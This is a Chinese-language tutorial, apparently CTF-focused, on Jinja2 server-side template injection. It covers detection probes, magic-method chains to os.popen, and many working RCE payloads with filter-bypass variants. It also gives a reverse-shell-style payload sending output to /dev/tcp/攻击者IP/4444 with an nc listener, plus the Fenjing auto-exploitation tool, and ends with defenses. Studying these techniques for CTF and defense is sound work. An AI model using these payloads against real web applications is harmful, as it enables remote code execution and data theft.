SSTI 实战
整理服务端模板注入识别、利用链路与模板安全防护。
1 SSTI漏洞概述
服务器端模板注入(Server-Side Template Injection,SSTI)是一种严重的安全漏洞,发生在用户输入被不安全地嵌入到服务器端处理的模板中时。这些模板引擎(如Python中的Jinja2、PHP中的Twig)用于渲染动态网页,但当攻击者能够注入模板指令时,可能导致敏感信息泄露、代码执行甚至完全远程控制服务器。
与SQL注入类似,SSTI也是一种注入攻击,但其目标不是数据库,而是模板引擎。成功利用SSTI漏洞的攻击者可以执行任意代码,读取服务器上的文件,发送HTTP请求,获取系统信息等。
2 模板引擎与Jinja2基础
2.1 模板引擎简介
模板引擎允许开发者在静态模板文件中使用占位符,然后在运行时用实际值替换这些变量,从而动态生成HTML页面。常见的模板引擎包括Smarty、Twig、Jinja2、FreeMarker和Velocity等。
2.2 Jinja2模板语法
Jinja2是Python生态中广泛使用的模板引擎,具有以下基本语法结构:
- 变量引用:
{{ variable }}- 用于引用模板中的变量 - 表达式求值:
{{ expression }}- 用于求值模板中的表达式 - 函数调用:
{{ function(arguments) }}- 用于调用模板中的函数 - 过滤器应用:
{{ variable | filter }}- 将过滤器应用于变量值 - 条件语句:
{% if condition %} ... {% endif %}- 基于条件执行代码块 - 循环语句:
{% for item in iterable %} ... {% endfor %}- 遍历可迭代对象
3 漏洞检测与确认
3.1 检测方法
SSTI漏洞通常存在于以下注入点:
- 用户名、个人资料名称、搜索输入框
- 联系表单或支持消息字段
- URL参数或路由变量
- 反映用户输入的错误信息
3.2 检测Payload
使用以下表达式测试是否存在SSTI漏洞:
| 模板引擎 | 检测Payload | 预期结果 |
|---|---|---|
| Jinja2/Twig/Django | {{7*7}} | 49 |
| ERB (Ruby) | <%= 7*7 %> | 49 |
| Velocity/JSP | ${7*7} | 49 |
| Thymeleaf | #{7*7} | 49 |
如果页面返回计算结果”49”,则很可能存在SSTI漏洞。
3.3 在线实验环境
推荐使用以下在线环境进行SSTI练习:
- ssti-flask-labs | NSSCTF
- TryHackMe SSTI挑战:https://tryhackme.com/room/learnssti
- PortSwigger Web Security Academy SSTI实验室:https://portswigger.net/web-security/server-side-template-injection
4 Python魔术方法与SSTI原理
4.1 魔术方法简介
Python中的魔术方法(Magic Methods)是以双下划线开头和结尾的特殊方法(如__init__),它们由Python解释器自动调用,用于实现各种操作。以下是与SSTI利用相关的关键魔术方法:
| 方法名 | 功能说明 |
|---|---|
__class__ | 返回对象实例所属的类 |
__mro__ | 返回类所继承的基类元组,方法解析按元组顺序进行 |
__base__ | 返回类所继承的基类(与__mro__类似,用于寻找基类) |
__subclasses__ | 返回当前类的所有可用子类的引用列表 |
__init__ | 类的初始化方法 |
__globals__ | 引用包含函数全局变量的字典 |
4.2 SSTI利用链原理
SSTI利用的核心是通过构造链式访问来获取危险的函数或模块:
- 从简单对象(如空字符串
''或空列表[])获取其类 - 通过
__class__、__base__或__mro__找到基类(通常是object) - 通过
__subclasses__()获取所有已加载的子类 - 在这些子类中寻找包含危险函数的类(如
os.popen、subprocess.Popen) - 通过
__init__和__globals__访问全局变量和函数 - 执行任意命令或读取敏感文件
5 基础Payload示例
以下是实现RCE(远程代码执行)的基础Payload:
{{ ''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('echo hello').read() }}
也可以从模板类出发寻找需要的类构造利用链,例如。
{{lipsum.__globals__['os'].popen('ls').read()}}
6 常见过滤与绕过技巧
6.1 过滤{{ 的情况
若{{被过滤,可使用{%print ... %}替代:
{% print ''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('echo hello').read() %}
6.2 过滤[] 的情况
若中括号被过滤,可使用.__getitem__()方法替代:
{% print ''.__class__.__base__.__subclasses__().__getitem__(133).__init__.__globals__['popen']('echo hello').read() %}
6.3 过滤引号的情况
可利用请求参数传递字符串,例如使用request.args:
{{ [].__class__.__base__.__subclasses__()[133].__init__.__globals__[request.args.x](request.args.y).read() }}
URL示例:
http://node5.anna.nssctf.cn:28012/level/5?x=popen&y=cat /app/flag
特殊情况:若request也被过滤,可使用字符串拼接构造所需方法名:
{% set a = dict(__glo=a, bals__=a) | join %}
{{ '' | attr(a) }} {# 相当于 {{ ''.__globals__ }} #}
6.4 过滤_ 的情况
使用Unicode编码绕过,如用\x5f代替_:
{{ ''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[133]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['popen']('ls').read() }}
若\也被禁用,可以用以下的方式构造_:
{{ lipsum|escape|batch(22)|list|first|last }}
这个Payload的原理是:lipsum函数生成包含HTML实体的文本,escape过滤器将这些实体解码为实际字符,batch(22)将字符串分成22个字符的批次,list转换为列表,first取第一个批次,last取该批次的最后一个字符(正好是下划线_)。
6.5 过滤. 的情况
使用|attr过滤器或中括号语法替代点调用:
{{ '' | attr('\x5f\x5fclass\x5f\x5f') | attr('\x5f\x5fbase\x5f\x5f') | attr('\x5f\x5fsubclasses\x5f\x5f')().__getitem__(133) | attr('\x5f\x5finit\x5f\x5f') | attr('\x5f\x5fglobals\x5f\x5f').popen('ls').read() }}
或使用中括号语法:
{{ ''['__class__']['__base__']['__subclasses__']()[133]['__init__']['__globals__']['popen']('ls')['read']() }}
6.6 过滤魔法方法关键字的情况
若关键字如class、init等被过滤,可使用字符串拼接或十六进制编码绕过:
拼接示例:
{{ ''['__cla'+'ss__']['__ba'+'se__']['__subclas'+'ses__']()[133]['__in'+'it__']['__glo'+'bals__']['pop'+'en']('ls')['read']() }}
6.7 过滤数字的情况
若数字被过滤,可通过表达式构造所需数值:
''|length返回 0(空字符长度为0)'a'|length返回 1
使用以下脚本生成表达式构造较大数字:
import math
target = int(input())
res = ""
while target > 1:
pow = math.floor(math.log2(target))
temp = "(dict(a=a)|length+dict(a=a)|length)**("
for i in range(pow):
if i != 0:
temp += "+"
temp += "dict(a=a)|length"
if pow == 0:
temp += "(a)|length"
temp += ")"
res += temp + "+"
target -= math.pow(2, pow)
if target == 0:
res += "(a)|length"
elif target == 1:
res += "dict(a=a)|length"
with open('output.txt', 'w') as f:
f.write(str(res))
生成Payload示例:
{{ ''.__class__.__base__.__subclasses__()[('a'|length + 'a'|length) ** ('a'|length + 'a'|length + 'a'|length + 'a'|length + 'a'|length + 'a'|length + 'a'|length) + ('a'|length + 'a'|length) ** ('a'|length + 'a'|length) + 'a'|length].__init__.__globals__['popen']('cat /app/flag').read() }}
+被过滤的情况下可以用以下方式求和:
(11,12,13)|sum
6.8 组合过滤绕过
实际环境中往往存在多种过滤机制,需组合使用上述技巧构造有效Payload。例如,当过滤['\'','"','+', 'request', '.', '[', ']' ]时,可以使用以下复杂Payload:
{% set a = dict(__cla=a, ss__=a) | join %}
{% set b = dict(__ba=a, se__=a) | join %}
{% set c = dict(__subcla=a, sses__=a) | join %}
{% set d = dict(__get=a, item__=a) | join %}
{% set e = dict(__in=a, it__=a) | join %}
{% set f = dict(__glo=a, bals__=a) | join %}
{% set g = dict(po=a, pen=a) | join %}
{% set i = dict(re=a, ad=a) | join %}
{% set builtins_str = dict(__buil=a, tins__=a) | join %}
{% set chr_str = dict(chr=a) | join %}
{% set cat_str = dict(cat=a) | join %}
{% set app_str = dict(app=a) | join %}
{% set flag_str = dict(flag=a) | join %}
{% set builtins = range|attr(a)|attr(b)|attr(c)()|attr(d)(133)|attr(e)|attr(f)|attr(d)(builtins_str) %}
{% set chr_func = builtins|attr(d)(chr_str) %}
{% set less = chr_func(60) %}
{% set slash = chr_func(47) %}
{% set cmd = cat_str ~ less ~ slash ~ app_str ~ slash ~ flag_str %}
{{ range|attr(a)|attr(b)|attr(c)()|attr(d)(133)|attr(e)|attr(f)|attr(d)(g)(cmd)|attr(i)() }}
其中为了构造特殊字符,构造了一个额外的函数chr_func,它的实际值为:
range.__class__.__base__.__subclasses__[133].__init__.__globals__['__builtins__']['chr']
7 SSTI盲注技巧
7.1 出网情况(可外连)
-
攻击者监听端口:
nc -lvnp 4444 -
构造Payload执行命令并回传数据:
{% print ''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('bash -c "ls >& /dev/tcp/攻击者IP/4444 0>&1"').read() %}
7.2 不出网情况(不可外连)
将命令执行结果重定向到Web静态目录下的文件中,然后通过浏览器直接访问该文件:
{% print ''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls / > /app/static/result.txt').read() %}
随后访问:
http://靶场地址/static/result.txt
8 自动化工具
Fenjing 是一款专为CTF设计的Jinja2 SSTI全自动绕WAF脚本,可以自动检测和利用SSTI漏洞,并绕过常见的WAF防护规则。
主要特性:
- 自动检测SSTI漏洞
- 支持多种绕过技巧
- 可自定义Payload
- 提供Web界面和命令行接口
安装和使用:
pip install fenjing
python -m fenjing webui --host 0.0.0.0 --port 11451
访问 http://127.0.0.1:11451/ 即可使用Web界面。
9 防御措施
为了防止SSTI攻击,建议采取以下措施:
- 避免使用render_template_string():尽量避免直接将用户输入传递给模板渲染函数
- 输入验证与过滤:对用户输入进行严格验证,拒绝包含模板语法的输入
- 沙箱环境:在安全的沙箱环境中执行模板,限制其访问系统资源的能力
- 白名单机制:只允许使用经过审查安全的函数和过滤器
- 上下文隔离:确保模板只能访问明确允许的变量和函数
- 持续监控:监控应用程序日志和异常活动,及时发现和响应SSTI攻击尝试